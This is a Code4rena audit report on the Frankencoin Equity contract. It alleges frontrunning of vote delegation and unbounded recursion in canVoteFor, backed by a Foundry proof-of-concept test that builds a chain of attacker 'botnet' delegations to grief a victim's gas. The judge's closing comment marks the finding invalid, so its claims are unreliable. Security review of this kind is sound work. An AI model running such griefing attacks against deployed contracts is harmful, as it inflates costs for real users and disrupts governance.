Votes calculation attack vector

[code423n4]

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L154 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L111

Vulnerability details

1. A malicious user can frontrun to cancel the delegateVoteTo

Such an attack vector exists when the combination of helper A and other helpers is greater than 3%, but the combination of other helpers is less than 3%. A can frontrun to cancel delegateVoteTo.

2.canVoteFor uses infinite recursive calls may run out of gas

Without limiting the recursion depth, a malicious user can construct calls of infinite depth that exceeding the gas limit, causing the tx fail.
Although the users can choose helpers, but generally will choose all helpers who support them, and it's difficult to filter out malicious helpers when helpers too long.
One might claim that this can be detected in advance, but attacker can frontrun a tx, where the user is not even aware of the presence of a malicious helper until the tx is send.
By calculation, the attacker probably consumes a lot of gas, which is a grief attack.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../contracts/Equity.sol";
import "../contracts/Frankencoin.sol";

contract VoteTest is Test {
    Equity equity;

    function setUp() public {
        equity = new Equity(Frankencoin(address(0)));
    }

    function testDosVote() public {
        dosVote(1);
        dosVote(10);
        dosVote(200);
    }

    function testFailDosVoteDueToStackOverflow() public {
        dosVote(300);
    }

    function dosVote(uint size) internal {
        address sender = makeAddr("Alice");
        address attacker = makeAddr("attacker");
        vm.prank(attacker);
        equity.delegateVoteTo(sender);
        address[] memory helpers = new address[](1);

        // Alice precheck considers attacker to be credible
        helpers[0] = attacker;
        uint gasStart = gasleft();
        equity.votes(sender, helpers);
        uint gasEnd = gasleft();
        console.log("PreCheck User cost at size", size, ":", gasStart - gasEnd);

        // Attacker frontrun alice's tx
        gasStart = gasleft();
        address prevNode = sender;
        for (uint i = 1; i <= size; i++) {
            address botnet = makeAddr(
                string(abi.encodePacked("botnet", toString(i)))
            );
            vm.prank(botnet);
            equity.delegateVoteTo(prevNode);
            prevNode = botnet;
        }
        vm.prank(attacker);
        equity.delegateVoteTo(prevNode);
        gasEnd = gasleft();
        console.log("Attack cost at size", size, ":", gasStart - gasEnd);

        // Alice tx real cost
        gasStart = gasleft();
        equity.votes(sender, helpers);
        gasEnd = gasleft();
        console.log("User real cost at size", size, ":", gasStart - gasEnd);
        console.log("\n");
    }

    function toString(uint256 value) internal pure returns (string memory str) {
        /// @solidity memory-safe-assembly
        assembly {
            // The maximum value of a uint256 contains 78 digits (1 byte per digit), but we allocate 160 bytes
            // to keep the free memory pointer word aligned. We'll need 1 word for the length, 1 word for the
            // trailing zeros padding, and 3 other words for a max of 78 digits. In total: 5 * 32 = 160 bytes.
            let newFreeMemoryPointer := add(mload(0x40), 160)

            // Update the free memory pointer to avoid overriding our string.
            mstore(0x40, newFreeMemoryPointer)

            // Assign str to the end of the zone of newly allocated memory.
            str := sub(newFreeMemoryPointer, 32)

            // Clean the last word of memory it may not be overwritten.
            mstore(str, 0)

            // Cache the end of the memory to calculate the length later.
            let end := str

            // We write the string from rightmost digit to leftmost digit.
            // The following is essentially a do-while loop that also handles the zero case.
            // prettier-ignore
            for { let temp := value } 1 {} {
                // Move the pointer 1 byte to the left.
                str := sub(str, 1)

                // Write the character to the pointer.
                // The ASCII index of the '0' character is 48.
                mstore8(str, add(48, mod(temp, 10)))

                // Keep dividing temp until zero.
                temp := div(temp, 10)

                 // prettier-ignore
                if iszero(temp) { break }
            }

            // Compute and cache the final total length of the string.
            let length := sub(end, str)

            // Move the pointer 32 bytes leftwards to make room for the length.
            str := sub(str, 32)

            // Store the string's length at the start of memory allocated for our string.
            mstore(str, length)
        }
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

• limiting the recursion depth to save gas
• delegateVoteTo use a cooling period, so that the votes can be predictable

[c4-pre-sort]

0xA5DF marked the issue as duplicate of #853

[0xA5DF]

Contains also a dupe of #640 TODO

[c4-judge]

hansfriese marked the issue as unsatisfactory: Invalid